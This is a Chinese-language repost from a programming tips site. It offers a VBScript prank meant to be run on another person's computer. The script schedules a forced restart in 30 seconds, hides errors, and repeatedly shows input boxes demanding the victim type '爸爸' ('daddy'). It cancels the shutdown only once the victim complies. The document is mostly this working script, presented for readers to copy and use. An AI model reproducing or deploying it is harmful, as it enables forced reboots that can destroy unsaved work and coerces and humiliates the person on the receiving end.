让别人关机!(VB语言)

前端之家收集整理的这篇文章主要介绍了让别人关机!(VB语言)前端之家小编觉得挺不错的,现在分享给大家,也给大家做个参考。

on error resume next
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r -t 30 -c ""喊爸爸,不喊就30秒关你机,不信,试试···"" ",true
dim a
do while(a <> "爸爸")
a = inputBox ("小批!快点喊我爸爸 ""快点喊"" ","喊不喊?","不喊",8000,7000)
msgBox chr(13) + chr(13) + chr(13) + a,"你喊不喊?不喊关你机了哈"

loop

dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",true msgBox chr(13)+chr(13)+chr(13)+"幺儿乖哦。老汉不关你机了!"

原文链接:https://www.f2er.com/vb/261577.html

猜你在找的VB相关文章